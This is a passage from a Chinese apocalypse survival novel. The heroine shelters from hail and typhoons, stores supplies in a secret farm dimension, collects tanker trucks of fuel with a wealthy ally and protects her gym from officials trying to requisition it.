可能是因为知道她和陆昼的事只是一个乌龙，陆妈妈今天没逼陆昼给她送晚饭，秦小薇吃的是仓库里的烧饼。 反而是拉布拉多，就算不用取饭盒，它也过来了，秦小薇陪它玩了一会儿，它才叼着自己的玩具，依依不舍地回去。 吃完饭之后，秦小薇打开手机，搜索台风的实时云图，又搜了下几个台风最新的路径预测，以及大佬们对于云图的“解析”……才带着一脑子地理知识，在帐篷里的充气垫上闭上了眼睛。 今天也是充实的一天呢！ 之后几天，她照旧是早出晚归，房车那边，陆昼只留了两个保镖看家，剩下的，全都跟着他出去干活了。 可能是因为街上到处都是军人，大家也都被安排了活，这次宁市的大环境，并不像前两次天灾的时候那么差，就连小偷小摸的事都很少出现，警察也不用再忙着处理各种乱七八糟的案子，反而是能安心帮忙建安全屋…… 第74章 第74章油罐车（双更合一）…… 段霞去废墟里淘了些没人要的木头框架和木板,自己用钉子和锤子，钉了一个木头床。 因为用的木料颜色不一样，床看起来有些磕碜,不过现在是特殊情况,她也不在意这些。 知道她解决了床的事,秦小薇还特地开车回去了一趟，帮她把床和行李拉去了健身房。 虽然简易安全屋的环境比之前的临时避暑点好,但和健身房相比,还是差了很多，秦小薇主动找了范槿,问他们一家要不要搬到健身房住一段时间。 家里不少家当都在健身房里面，搬过去会方便很多，他们一家三口自然是欣然同意,他们三个倒是没弄床,不过他们从废墟里找了两张床垫送去了健身房。 在帐篷里住了半个月，不只是范爸爸，范槿和她妈妈也有腰痛的困扰,急需一个好用的床垫拯救她们。 范妈妈还说要给秦小薇租金，不过她没收。 她对外的说法一直是 ,健身房不是她的,借给范槿她们住也只是动用自己的“私权”给他们走后门——虽然范槿的爸妈现在看起来很好相处，但是人都有私心，更何况现在还是末世,秦小薇这样做算是在为以后可能出现的纠纷留个保险…… 在简易安全屋建好的第二天早上，秦小薇又收到了预警中心的短信，短信上说宁市的地震已经结束了，让市民们安心入住安全屋。 同时,短信里再次强调了之后的极端天气普通人应该怎么应对…… 这两天，市政又放开了物资限购，现在，普通人一次可以购买一个月的食物和水。 按照陆昼的经验，台风加上冰雹，刚好会持续一个月。 普通人要是听了市政的安排，早早就囤好一个月的食物和水，待在安全屋里，除了生活环境差一些，大概率不会发生什么危险。 市政还发了公告，之后，物资依旧会以流动车辆的形式，在天气没那么恶劣的时候在各个安全屋附近售卖能量饼干和水，没有买齐物资的普通人听到车上绑着的大喇叭后，可以出来排队购买物资……单看市政的安排，普通人的生存物资还是有保障的。 收到预警中心的短信后，秦小薇给陆昼发了条消息。 【秦小薇：我明天要回家了。】 【秦小薇：回去之前，要去趟你家，把你放在我这的东西还给你吗？】 她说的是之前冷库里的那些物资，因为聊天记录会在网上留下痕迹，所以他们从来不在电话或是消息里明确提到空间或是他们囤的物资，大多数时候，都是暗示，反正他们两个都能看懂、听懂。 【陆昼：还一部分给我就行了，剩下的继续放你那。】 【陆昼：明天有个朋友要过来，我们一起去接一下。】 看到陆昼的消息，秦小薇忍不住挑眉。 现在这种时候，他竟然还能弄到物资？ 【秦小薇：几点？】 【陆昼：下午四点半。】 【秦小薇：那我先回趟家，四点去你家找你。】 【陆昼：嗯。】 晚上，秦小薇早早就睡了，第二天早上，她起床后简单洗漱了一下，就开始收拾帐篷和行李。 帐篷收到一半，陆昼带着拉布拉多跑步回来了，他牵着狗，在秦小薇身边停下：“要帮忙吗？” 秦小薇也没和他客气：“帮我拉一下那两个角，还有，把那边那根骨架抽出来……” 陆昼：“之后一段时间，公寓附近可能会有点乱，你自己注意安全，有事就去楼上找奚川，我和他打过招呼了……如果外面有大雾，出门记得戴口罩。” 秦小薇的动作停了下来：“大雾？” 陆昼：“嗯，会慢慢开始起雾，但都不严重，你稍微注意一点就行了……” 她回忆了一下，陆昼之前准备的那些医疗物资里面，似乎是有不少口罩。 秦小薇：“要是出门没戴口罩会怎么样？” 陆昼摇头：“不知道，可能会死吧……” 秦小薇对他的用词有些不满：“可能？” 陆昼：“那时候每天都有人死，我又不是法医，没事也不会剖开他们的尸体检查他们的死因，也没有专业的机构监测雾气里的成分……我也不知道他们是因为大雾死的，还是因为其他什么原因死的，但天气不正常，你多留个心眼，总不会错。” 秦小薇觉得他说得有道理，便点点头道：“行，听你的！” 收完了帐篷，陆昼又帮她把营地里的行李搬到后备箱去了。 关上后备箱后，秦小薇刚拉开车门准备上车，就见拉布拉多的动作比她还快，直接越过驾驶座，跳到副驾驶上去了。 秦小薇：“陆昼，你的狗怎么天天往我这里跑？” 绳子一放开，就往她这跑。 它实在是太热情了，她都讨厌不起来了！ 陆昼：“我也很好奇，它为什么看到你就跟碰到肉骨头似的……你是不是偷偷往身上撒肉汤了？” 秦小薇：“……”她用得着做这么幼稚的事？ 陆昼打开另一边的车门，想把狗抓出来，香肠却从副驾驶和驾驶座中间的中央扶手箱跳到了后车座，和陆昼玩起了“躲猫猫”游戏，等陆昼转去了后车座，它又跳了回来…… 秦小薇觉得有趣，围观了一会儿一人一狗“大战”，才施施然开口道：“算了，我先带它回去吧！让它去空间里玩一会儿，傍晚再给你送回来……” 陆昼没怎么犹豫，就答应了：“麻烦你了！” 到家后，秦小薇直接把狗收进了空间，才开始处理家里的事。 她昨天在同城APP上花高价约了个师傅，让他上门焊接楼上被地震震掉了的防盗窗。 在等师傅上门的空档，她拿了个梯子，把浴室掉下来的铝扣板一个个装了上去…… 之后，秦小薇又拿出陆昼提前准备好的铁丝网，用剪刀剪成大块，再用扎带固定在阳台的防盗窗外面挡冰雹，担心一层不够，她还固定了两层…… 铁丝网的孔又细又密，还非常厚实，相信只要没出现台风把窗框吹走的事，之后一个月待在室内就是安全的…… 家里还有其他的镜子可以用，她就没管浴室碎成蜘蛛网的镜子，只用胶布把镜子贴了起来，防止玻璃渣掉下来——镜子是贴在柜门上的，碎了以后也取不下来。 楼道里非常热闹，秦小薇在屋里干活的时候，一直能听到楼上楼下以及走廊里邻居们走动的声音。 铁丝网扎好之后，她正准备把剩下的铁丝网卷起来送去楼上，让员工们等防盗窗安好之后，把楼上的防盗窗也加固一下，就听到外面传来一阵敲门声。 她打开监控看了看，外面站着一男一女，看长相有点眼生，她没什么印象。 “谁啊？”秦小薇隔着门板大声问道，并没有开门。 门外的男人开口道：“你好，我想问下，你这房子租不租？” 秦小薇毫不犹豫地拒绝道：“不租，这房子我自己要住！你们去其他家问问吧！” 门外的人却没有死心：“我们可以合租，我们只租一半的空间……房租我出一万！” 在地震来之前，他们这栋公寓楼因为电梯坏了，又是高楼层，房租已经从一千多降到八百以下了。 对方开的价可以说是“天价房租”了，但秦小薇却丝毫不心动，先不说她缺不缺钱，就算她真的缺钱，她也不会为了那点房租让人入侵自己的私人领域，毕竟她还有个农场空间！ 秦小薇拒绝道：“不好意思，屋里空间太小，不接受合租。” 门外的两人见她一直拒绝，只能遗憾离开，去敲其他家的门。 秦小薇觉得，有这么高的房租当诱饵，公寓楼之后怕是会出现不少新面孔，要是房东想赚钱，甚至可能会丧心病狂地把原本就三十几平的公寓改成三人间…… 她没管别人的事，用拖把把家里打扫了一遍，等焊接的师傅联系她了，就带着之前打包好的铁丝网上了楼。 收到地震结束的短信后，健身房的员工就陆续搬过来了。 秦小薇到的时候，她们已经把屋子的里里外外都打扫了一遍，就连厨房塌掉的吊顶，也都处理好了…… 她让师傅去阳台干活，自己把铁丝网和扎带递给几个教练，告诉她们等师傅焊好了防盗窗之后，要怎么绑扎带和铁丝网，就下楼了。 接下来一个月都是极端天气，涉及自身安全，秦小薇相信，防盗窗的事，她们会上心的！ 回家后，她直接进了空间。 这几天，因为一直住帐篷里，秦小薇每次进出空间都来去匆匆，生怕被附近的保镖发现了异常。 处理完空间里的琐事后，秦小薇去了商店，花掉了她这段时间攒的金币，买下了她惦记许久的海鲜餐厅。 农场空间这段时间又升了一级，现在已经28级了，这次升级，解锁的是一块黑土地、钓竿、海鲜沙拉，还有椒盐虾。 等海鲜餐厅建好了，就可以生产番茄虾滑汤、海 鲜沙拉还有椒盐虾了！ 以后她要是不想炒菜了，提前煮一大锅米饭放空间里，就能随时吃上海鲜大餐，还能荤素搭配……想想就很期待！ 金币花出去之后，她选定的那块地方立刻多了一个工地，可能是这边的动静太大了，原本还在海里快乐玩水的拉布拉多都上岸过来看热闹了…… 秦小薇：“这里没你的事，继续去玩吧！” “汪——”拉布拉多用脑袋拱了拱秦小薇的手，想让她陪自己玩。 秦小薇拍了拍它的头：“你自己玩，我忙着呢！好好珍惜现在还能撒欢的时间吧……接下来一个月，你估计都得在家里关着，你那班十有八九是上不成了……” 似乎是听懂了她的话，拉布拉多犹豫了一下，转头继续去玩了…… 她又去检查了一下那头怀孕的母山羊，见它没什么异常，秦小薇才放心地离开了空间。 其实她也不知道怀孕的母羊什么状态才是正常的，秦小薇之前还上网搜索过相关的信息，但她觉得枯燥，根本提不起学习的兴趣，再加上空间里有机器人，她只看了两眼就把网页关了。 现在主要就是看智能机器人记录的数据，只要数据都是绿的，她就当母羊的状态一切正常…… 秦小薇刚出空间，就看到了室友在群里发的消息。 【范槿：我爸妈在楼下排队买能量饼干，就快轮到他们了，你们要不要过去插个队？现在自己排队要挺久的。】 因为台风和冰雹差不多要持续一个月左右，再加上市政放开的物资购买限制也是一个月，几乎所有人都是一次性买好一个月的物资。 就算社区调了很多工作人员过去帮忙，这几天，排队买物资的时候，队伍前进的速度也特别慢。 【肖琳琳：要，我现在就下去！】 【秦小薇：我前两天就买好了。】 【范槿：薇薇，你不在家吗？刚刚我去你家敲门，都没人开门。】 【秦小薇：刚刚有点事，出去了一下，怎么了？】 【范槿：有人来健身房问，咱们健身房台风天的时候营不营业，能不能办会员卡。】 秦小薇稍微一想就明白了，来咨询的人，估计是想借着会员卡的名头，住在健身房里吧！ 虽然她开健身房的初衷是想赚钱，外加帮到更多的弱势群体，但她开的是健身房，并不是什么大通铺旅馆。 真要是让一堆人在里面住一个月，在断水、全市下水管道被破坏、需要收粪车加班加点工作的情况下，健身房的环境估计会变得很糟糕…… 她砸进去的装修钱可不能浪费了！ 【秦小薇：饭饭，要是再有人问，你就说不营业，最近也不办卡……我在网上更新一下店铺的公告。】 【范槿：好！】 过了一会儿，业主群里的消息又弹了出来，群里又有人@她了。 上次有位业主爆料了他们这片区域不在地震带上、公寓楼会保存下来之后，虽然有不少人追问他消息的真假，但因为住户太多，不少人都持观望态度，安装电梯的事最终还是没谈拢。 但现在地震都过去了，那位业主的消息被验证了，他们这栋楼确实保留下来了。 和市里其他只剩一片废墟的建筑相比，只有外墙掉了一部分瓷砖的公寓楼算是只损伤了一层“血皮”，这两天找过来租房的人不少，因为房租高得离谱，重新安装电梯的事也被业主们提上了日程…… 这回，除了一二三楼这些低楼层的业主，其他楼层的业主基本上没什么意见。 一番商讨之后，安装电梯的事很快就定下来了，有个业主门路特别多，甚至当场就联系好了电梯的供货商和安装工人，下午就能过来干活…… 秦小薇：效率这么高，业主群还真是卧虎藏龙啊！ 秦小薇按照群里发的流程把钱转给了那位负责买电梯的业主，就没再管这件事了。 高楼层的业主急着把房子租个高价，肯定比她着急，她没必要操心！ 她在屋里待了一会儿，忽然听到楼上传来一阵喧闹，秦小薇的吃瓜雷达瞬间启动，她打开阳台的窗户，走到窗户边上听了听。 原来是楼上的房东自己住的房子被地震震塌了，就打算把租客赶走，搬回公寓楼住。 现在可不是以前，被赶出去了，还能去酒店凑合凑合，然后继续找房子。 现在正儿八经的房子是稀缺资源，要是被赶出去了，他们就只能按照社区工作人员的分配，去挤安全屋，租客自然不愿意，两方就吵了起来。 楼上似乎也没关窗，公寓楼的隔音不好，秦小薇打开窗户，什么都能听到，她找了包瓜子出来，搬了个凳子，坐在窗户边上，一边嗑瓜子一边吃瓜…… 虽然看不到现场，但仅凭两家人的争论声，秦小薇就能想象，楼上的“战况”一定非常激烈。 下午的时候，公寓楼又出了好几件这样的事，秦小薇和三个室友，吃瓜都快吃撑了。 拉布拉多在空间里撒了一天的欢，身上弄得脏兮兮的，三点多的时候，秦小薇进空间给它冲了个澡，之后又拿出陆昼放在她空间里、专门给它准备的宠物烘干箱，让它进去吹毛。 拉布拉多似乎已经习惯了用宠物烘干箱，秦小薇打开箱子的门后，它就自己走了进去。 它的毛比较短硬，很容易吹干，在烘干箱里待上十几分钟毛就干了，洗澡比萨摩耶这样的长毛狗方便多了…… 等它的毛烘干了，秦小薇就带着它出门了，出门的时候，她还在楼道里碰到了范槿和她爸爸。 范槿看到她手上牵着的狗有些惊讶：“薇薇，你什么时候养狗了？还是一只拉布拉多？” 想到之前在学生宿舍被香肠“祸害”的经历，她的表情有些一言难尽。 秦小薇：“不是我养的，朋友养的，我帮忙看一会儿，现在就送回去……” “这样啊……”范槿伸手撸了下拉布拉多的狗头，“会握手吗？另一只爪子也握一下……它好乖啊！比之前裴欣养的香肠乖多了……也不知道那只狗现在怎么样了？” 因为拉布拉多减肥太成功，现在身上又穿着一条超级帅的背带，和从前完全是判若两狗，范槿完全没认出来，这就是之前“祸害”了她们女生宿舍的香肠。 反而是香肠，听到自己的名字后，忍不住叫了一声，似乎是在反驳范槿…… 撸了好一会狗，范槿才从地上站起来：“薇薇，外面在下雨，现在外面没路灯，你记得早点回来！” 可能是因为台风的影响，前两天建安全屋的时候，就在下雨，一阵一阵的，不过因为之前的大暴雨，宁市的普通人基本上都准备了各种雨具，就算是大地震，他们也没放弃这些雨具。 虽然冒雨干活不太方便，但下雨并没有影响他们的进度…… 秦小薇点头：“我知道了，健身房你和叔叔阿姨帮忙多看着点，要是有会员过来，你就直接和她们说，这一个月不营业，等极端天气过去了，才会继续营业。” 范槿还没说话，她爸爸就保证道；“小薇，你放心，既然你收留了我们，我们肯定帮你看好门！” 秦小薇：“谢谢叔叔。” 范爸爸：“应该是我谢谢你，给我们弄了这么宽敞的住处……” 简单寒暄了几句，秦小薇就开车去了陆昼住的小区。 他们小区的安保依旧非常严格，虽然她之前登记过，但保安依旧给陆昼打了电话，确定了她的身份，才放她进去。 陆昼家里已经收拾好了，基本上和她第一次来的时候差不多。 秦小薇只看到了他一个人，便问他：“你家里人和保镖呢？不和你一起住吗？” 陆昼：“在楼上，这栋楼的上下五套房都是我的。” 秦小薇：“……” 陆昼挑挑拣拣，让秦小薇拿了半年的食物出来，送进重新启动的冷藏库，才和她一起开车离开了小区。 路上，秦小薇忍不住问他：“你 这次弄到的是什么物资？” 陆昼答得言简意赅：“能源。” 秦小薇：“能源？汽油？柴油？还是太阳能发电系统？” 陆昼：“到了你就知道了！” 等到了地方，秦小薇简直要被他的大手笔惊呆了，因为陆昼弄到了整整四辆油罐车！ 谁家买汽油不是按升而是按车买啊？！ 秦小薇忍不住对着他比了个大拇指：“……你牛！” 陆昼替她撑着雨伞：“先干活，天快要黑了。” 收完油罐车后，秦小薇忍不住和他打听这几辆油罐车的来历：“这些油罐车你从哪弄来的？一下子弄这么多油，会不会被抓啊？” 陆昼：“不会，在记录里，这几辆车已经在地震里面毁了……” 秦小薇：“……” 陆昼抽空看了她一眼：“别露出这种表情……不是我干的，我知道有这批货后，才联系了卖家。” 秦小薇：“我还以为，这段时间治安很好，违法犯罪的事都暂时消失了……” 陆昼：“之前相比，确实还可以……不过哪里都有太阳照不到的地方。” 第75章 第75章冰雹（双更合一）…… 回去的路上,秦小薇又让陆昼帮忙找人送点桶装水去健身房，让员工们当生活用水。 她空间里的桶装水生产线还在，空间里有源源不断地海水,生产淡化桶装水对她来说非常容易。 听完她的要求后,陆昼沉默了片刻,忽然开口道：“给我也拿一些。” 秦小薇有些惊讶：“你还缺水？” 陆昼：“……我们小区每栋楼只有一个水箱，用完了得找保安手动灌水进去,这种天气会很麻烦。” 秦小薇：“行吧！你现在能找到仓库吗？” 他们之前作为“中转站”的那个仓库已经在地震中塌了。 陆昼点头：“你等等,我打个电话……” 虽然现在已经是末世了，但是社会秩序并没有崩塌,“钞能力”依旧能解决很多问题，五分钟，陆昼重新启动了车子。 到地方之后,秦小薇把空间里之前“生产”好的桶装水转移到仓库里,就回家了。 陆昼会安排送货的工人把这些水送去健身房，之后的事，就不用她操心了。 秦小薇一到家,就躺到沙发上玩手机，她手机里需要联网的游戏基本上都停服了,她只能玩一些不需要联网的小游戏。 她玩了没一会儿,就接到了一个陌生的电话。 “喂，是秦小薇吗？居委会的，你是不是还没有入住简易安全屋？打电话是找你核实一下情况……”电话那头的女声语速飞快地说着自己打电话的原因,似乎这一套话术，她已经重复了无数遍了。 秦小薇：“我回家了，我家在地震中保留下来了，所以我搬回来了。” “行,我这边把你的名字勾掉。”说完，她就飞快挂断了电话。 秦小薇上网看了下几个台风的实时路径，又听了一脑子专家的分析…… 这次几乎是全民一起抗灾，各地都出动了军队，国内各地的效率都很高，沿海地区需要转移的普通人，都已经转移到了内陆地区；虽然中途出了些小意外，但其他需要建安全屋的城市，也赶在台风、冰雹到来之前，做好了准备。 一切似乎都在往好的方向发展…… 这次大地震的破坏力太大了，连带着娱乐活动都变少了……虽然手机里的娱乐活动变少了，但公寓楼却非常热闹。 有人忙着搬进来；还有房主和租客大战，争夺房子的居住权；还有房主和自家亲戚大战……吵得不可开交！ 秦小薇今天吃瓜都快吃撑了。 等晚饭消化得差不多了，她拿了拳套，准备去健身房里练拳。 健身房有好几百平，范槿一家和段霞只占了一个小角落，秦小薇到的时候，他们正在聊天，秦小薇和他们几个打了招呼，就去另一边练拳了。 和以往一样，她练了一个多小时才停下来。 秦小薇拿了条毛巾，擦了下脸上和额头上的汗，她正准备回去擦个澡，手机铃声就响起来了。 是送水的师傅过来了，这次送货量太大，师傅问她能不能找几个人下去帮忙卸一下货。 秦小薇自然是说可以，挂了电话后，她在员工群里发了条消息，让大家下楼帮忙搬水，很快就得到了众人的响应。 她们虽然都是女孩子，但大部分人的体力都不输男人，搬水卸货对她们来说并没有压力…… 秦小薇招呼了一声，范槿和段霞也跟着她一起下去了。 送货的师傅带了小推车，她们健身房也有运货的小推车，众人只要把桶装水从卡车的后车厢搬到推车上，再坐电梯把水运到楼上就行了。 那一大车桶装水实在是太壮观了，吸引了公寓楼里不少人的注意，中途，不少人过来问她们水是在哪里买的，能不能给个联系方式云云。 众人全都推到健身房那个从没见过的神秘“老板”身上了，基本上是一问三不知。 范槿看起来有些兴奋：“薇薇，你们老板也太大手笔了吧！专门准备了员工宿舍也就算了，竟然还弄到了这么一大车桶装水！早知道她能弄到这么多水，白天我去买物资的时候，就不买水了……” 秦小薇：“还是要买的，淡化水有股海腥味，做生活用水还行，喝还是得喝瓶装水。” 段霞：“那倒是……” 众人正干得热火朝天，健身房外面忽然走进来一群男人。 他们各个穿着政务夹克，腋下夹着公文包，一副外出公干的模样。 一个挺着啤酒肚的高大男人冲着他们喊道：“谁是这里的负责人？” 他们人太多了，健身房里原本正在搬水的人纷纷停了下来，朝着他们看去。 秦小薇不知道他们是来干什么的，却还是站了出来：“我是店长，请问有什么事吗？” 为首的男人拿出一张盖了章的A4纸：“这里被市政征用了，要用来安置市民，你们收拾一下，把这里空出来！” 他语气强硬，一副理所当然的模样。 听着他的话，秦小薇忍不住皱眉，住房安排前几天就出来了，她的健身房真要是被征用了安置难民，今天不可能没人上门…… 秦小薇没被他的态度唬住，她接过A4纸看了看，那是一张通知书，上面说要无偿征用她的健身房…… 她不卑不亢地开口道：“你们是哪个部门的？麻烦出示一下证件。” 男人的表情有些不耐烦，却还是拿出了自己的工作证。 还真是市政的人！ 秦小薇记下对方的名字和工作部门。 男人不耐烦地催促道：“动作快一点，人家等着搬进来呢！” 秦小薇微笑：“麻烦稍等一下，我联系一下老板……” 她让店里的人先停下来，自己则去了另一边，拿出手机，给陆昼打了电话，说了健身房现在的情况。 秦小薇用手捂着嘴，冲着电话那头的人小声开口道：“……大概就是这样，我好像碰到想占我便宜、霸占健身房的家伙了。” 陆昼：“把‘好像’去掉……这事你不用管，我帮你解决！” 秦小薇：“行，速度快点啊！他们一直在门口杵着，影响我们卸货了。” 陆昼：“……知道了。” 几分钟后，为首的男人接了个电话，看对方接电话的时候那点头哈腰的模样，秦小薇就知道，给他打电话的人，肯定是他的领导。 接完电话后，男人的态度瞬间变了，他冲着秦小薇挤出一个笑脸，甚至还有点谄媚。 男人：“不好意思，我刚刚弄错了，征用的不是你们的健身房……” 秦小薇露出一个假笑：“没事，弄清楚就行了！” 很快，他们就离开了。 人走后，其他人忍不住问秦小薇：“店长，你刚刚真的只给老板打了个电话？” 秦小薇面不改色地撒谎：“除了老板，还能有谁？” 肖琳琳：“咱们 老板后台这么硬吗？人都没来，一通电话就把他们赶走了……我们这算不算是抱上一条金大腿了？” 秦小薇：“……可以这么说吧！” 别的地方不说，单看陆昼在宁市的影响力，确实可以算得上是“金大腿”了。 范槿：“那个胖子也太会变脸了！之前还高高在上的，接电话的时候，都快变成哈巴狗了……” 等把桶装水都搬上楼之后，秦小薇把范爸爸他们也拉进了员工群：“叔叔阿姨，要是有人来健身房闹事，你们就在群里说一声，大伙都会下来帮忙的，您别看我们都是女孩子，但一对多绝对没问题……你们住在这边，健身房就托你们多照看一点了，这样我和老板也有个交代。” 范槿：“薇薇，你放心吧！我们不会放捣乱的人进来的！” 之后，秦小薇就回自己的公寓了。 半夜的时候，她被外面的动静吵醒了，她打开床头灯，钻出被窝，想要下床看看外面什么情况，但一掀开被子，她就感觉到了阵阵寒意…… 天气预报一直在更新，秦小薇前几天就知道，今天晚上温度会降到零下，她睡前就换了柜子里的厚被子，刚睡的时候还有点热，现在出了被窝，就觉得冷了。 秦小薇套上床尾的长款羽绒服，去了阳台。 外面已经在下冰雹了，冰雹砸在窗户外面的铁丝网上，发出“砰砰砰”的声响，外面黑黢黢的，几乎看不到楼下的情况。 她打开手机的手电筒，打开窗户，朝外面看了看，在手电筒光的照射下，天空坠落的冰雹，像一根根交错的细线，在空中交织出一片杂乱的网。 窗户打开之后，秦小薇觉得更冷了，风吹在脸上，她的睡意都消散了很多…… 她仔细检查了一下屋里的窗户，窗玻璃都好好的，冰雹全被挡在她之前布置的铁丝网外面。 秦小薇放心了，脱了外套重新躺回床上。 她拿出手机，习惯性地查看了一下台风的最新路径，却发现三个室友都没睡，正在群里聊天。 【肖琳琳：隔壁好吵啊！一直在拿锤子砸墙，他们都不睡觉吗？】 【范槿：我这边听不到哎，连冰雹砸窗子的声音都不太明显，健身房双层玻璃的隔音太好了……】 【段霞：要不去提醒一下隔壁？】 …… 【肖琳琳：我和周教练去敲门了，隔壁的窗户被冰雹砸碎了，正在用木条封窗……还是薇薇有先见之明，让我们提前用铁丝网把窗户封起来了。】 【范槿：冰雹这么猛的吗？】 【肖琳琳：我看到屋里地上的冰雹，最小的都比鹌鹑蛋大，大的有鸡蛋大，隔壁两个人封窗户的时候被砸得嗷嗷叫，现在不戴头盔在外面绝对会被冰雹开瓢……】 【段霞：不出门就不用担心这种事了。】 …… 【秦小薇：琳琳，我有耳塞，你要不要？这栋公寓楼一直都这样，基本上二十四小时都很吵……你要是实在睡不着，可以去健身房和饭饭挤一挤，健身房的隔音比较好。】 【范槿：琳琳，其实我不介意咱俩换一换的。】 【肖琳琳：我去薇薇那拿耳塞吧！】 【肖琳琳：为啥要换？你不习惯睡大床吗？】 【范槿：我妈又催婚了，发动了她的好姐妹，搜罗了一堆有房的适龄男青年的资料，还说要安排我线上视频相亲……说现在有房的男人是稀缺资源，让我好好把握。】 【范槿：我只听说过线上面试，线上视频相亲还是第一次听说。】 【范槿：我妈也太潮了。】 【范槿：裂开.jpg】 【肖琳琳：同情你，但还是算了，我怕阿姨也给我介绍对象……】 【范槿：哈哈哈哈不至于，我妈只会霍霍我。】 等肖琳琳拿走耳塞后，秦小薇又和室友们聊了几句，就关上手机，准备继续睡了。 她一觉睡到六点半，才被生物钟叫醒。 起床后，秦小薇先进了趟空间，之后又就着刚热的牛奶吃了半袋面包。 吃完早饭后，她查看了一下网上的消息，同城APP上都在讨论昨夜的冰雹，很多住安全屋的普通人都在抱怨天气太冷，在安全屋里面越睡越冷…… 想想就能理解了，安全屋就只有一层钢板，金属的导热性又好，屋里屋外的温度几乎没什么区别，安全屋又没电让他们取暖，大家觉得冷也很正常！ 不过这一个月的最低温也就零下四五度，多穿点厚衣服，应该也冻不死人…… 昨晚断断续续下了一夜的冰雹，现在外面的地面上都是冰雹。 有些冰雹可以像水一样，在重力的作用下，往地势低的方向流，还有些冰雹化冻后结成厚厚的冰块，让地面变得又湿又滑。 地震过后，供水就停止了，秦小薇看到有人拿着铲子去外面铲冰雹回来放屋里化成水，之后再用净水片处理一下，当生活用水用…… 还有人不信邪，打着把伞就出门了，结果伞被冰雹砸坏了，人也被冰雹砸得哇哇叫。 可能是大家都还没起来，寝室群和员工群都很安静，并没有人在群里聊天。 秦小薇觉得有些无聊，她翻了翻空间里的物资，找出了一卷毛线，打算用钩针给鹦鹉钩一件斗篷打发时间。 她同时打开手机和平板，一个播放电视剧，还有一个放披风的钩织教程。 因为有电视剧分散她的注意力，开头她就钩错了好几次，但秦小薇干这个就是为了打发时间，她一点都不着急，钩错了就拆掉重新来…… 九点多的时候，大家似乎都睡醒了，群里也热闹起来了，不仅如此，楼栋里也热闹起来了。 业主群里有人说一楼外面都是冰雹，得及时把冰雹清理了，要不然之后会影响大家的出行；还有人提出楼道里有好几扇窗户都被砸碎了，得想办法把窗户暂时封起来，否则等台风来了，可能会有影响…… 秦小薇打算等冰雹停了，就下楼去铲冰…… 快十一点的时候，秦小薇见外面的冰雹停了十分钟以上，才拿着铲子、铁锹和其他人一起下楼清理冰雹。 虽然外面的冰雹已经停了，但大家依旧戴了头盔。 毕竟那些冰雹是真的能把人脑袋砸破！ 下楼的时候，秦小薇发现，竟然有人没租到房子，就直接睡在楼道里了！ 秦小薇不能理解他们的选择，就算市政安排的地方再拥挤，也比睡楼道里好吧！ 零下三度的低温打地铺，再加上被穿堂风吹一整夜，睡一觉就得感冒吧！ 至少社区是把性别相同的人安排在一起，想上厕所、换衣服什么的也方便，住在楼道里，真的一点隐私空间都没有，现在又没法出去，难道他们憋不住的时候，要当众脱裤子上厕所吗？ 秦小薇下楼的时候，就看到一个房主和门口打地铺的人吵起来了。 她听了一耳朵才知道，原来在外面打地铺那几人是房主的亲戚，他们不愿意搬去安全屋，才过来“投奔”亲戚，没想到房主根本就不鸟他们一家，张口就是赶人。 那家人赖着不走，就直接在人家家门口住下了…… 秦小薇忍不住在心里吐槽，这家摊上这样的牛皮癣亲 戚也是倒霉！ 经过一整夜的积累，公寓楼门口确实多了不少冰块，但是他们楼里人多，一人一铲子，就清理得差不多了，秦小薇她们下来的时候，活已经快干完了。 铲下来的冰他们也没浪费，你一桶我一桶，当场就分了。 肖琳琳：“大家速度好快啊！” 秦小薇：“人多力量大嘛！算了，我们去修窗户吧！” “好。” 上楼的时候，秦小薇看到一楼大厅里多了两个不同颜色的超大号垃圾桶，垃圾桶边上还贴着一个公告。 公告让公寓楼的住户把自己的生活垃圾和排泄物分别扔在两个垃圾桶里，之后会有收粪车和垃圾车过来把东西拉走……秦小微觉得，市政的人为了让他们保持清洁、少生病，真是操碎了心。 不过……他们公寓楼现在这么多人，这两个垃圾桶真的够用吗？ 因为人多，他们修窗户的速度也特别快，秦小薇只在外面待了十几分钟，就回家了。 感觉这趟出去都没干什么，就稍微活动了一下身体…… 中午的时候，秦小薇家停电了，不过健身房还有电，只要不开空调之类大功率的电器，健身房的灯基本上能一直亮着。 只要太阳能发电系统不发生故障，他们就不会断网，失去外界的消息。 秦小薇不得不感叹，有些东西，贵有贵的道理——现在这种天气，外面挂着的太阳能发电板竟然还能发电！ 下午午觉睡醒之后，她拿出手机，和群里几个教练发出练习格斗的邀约。 教练们也闲不下来，很快就答应了。 秦小薇和教练练习格斗的时候，楼上其他人也都下来了，众人在两人周围围成一个圈，像是看比赛似的，围观她们打架，还有人押注秦小薇和教练，究竟谁会赢…… 秦小薇体力很好，一连和几个教练打了好几场…… 等她完成今天的训练后，众人又提出一起玩游戏，大家都是女孩子，年龄又都相差不大，自然能玩到一起——除了范爸爸和范妈妈。 范妈妈还好，身为同性，和她们还能有点话题，但范爸爸一个四十多岁的大男人，让他和一群和他女儿差不多大的小姑娘混在一起玩游戏，他从头发丝到脚指甲都觉得不自在！ 他也没加入她们，他说要熟悉一下公寓楼的布局，就和范妈妈一起出门溜达去了。 公寓楼的窗户都封好了，基本上没什么危险，众人也不担心他们，就随两人去了…… 一个多小时后，范爸爸带回来一个消息，昨天试图霸占他们健身房的那群人，拖家带口，占了八楼的民宿。 “他们昨天搞得那么正规，连盖了章的通知书都弄出来了，感情是以权谋私啊！” “你现在才发现吗？我昨天看他们那变脸的速度，就知道他们不是好人！” “他们住进去，肯定不会给房租，那八楼民宿的老板不是亏大了？” “确实挺亏的，现在一间房，一个月能赚两万多的租金呢！对了，爸，他们占了几间房？” “……” 众人聊了一会儿，谴责了一下那群人，就结束了这个话题。 秦小薇很惊讶，她以为昨天那伙人被警告之后，就会放弃占便宜的念头，没想到，他们竟然只是转移了目标而已！ 真是猖狂啊！她想了想，去另一边给陆昼发了短信，说了这件事。 【陆昼：放心吧！他们不会再来打扰你了，你可以安心住着。】 【秦小薇：但他们占了其他人的房子，你们知道了都不管的吗？】 【陆昼：你是什么正义警察吗？什么黑暗的事都看不惯。】 过了一会儿，他又发了条消息过来。 【陆昼：之后会清算的，别着急。】 看到陆昼的回复，秦小薇才收起手机，重新加入大家。 玩了没多久，健身房的大门就被人推开了，是个中年女人。 “你好，我是楼上的，我家断电了，我看你们这还有电，能借个插孔让我给手机充会电吗？” 给手机充电也耗不了多少电，现在这种时候，不知道外界的情况，真的会很焦虑，秦小薇没怎么犹豫，就点头同意了。 第76章 第76章台风（双更合一） 秦小薇猜测,楼里应该有不少人家都断电了，她想了想，在健身房拆了两个插线板,拉到外面,固定在门口,让周围的邻居充电。 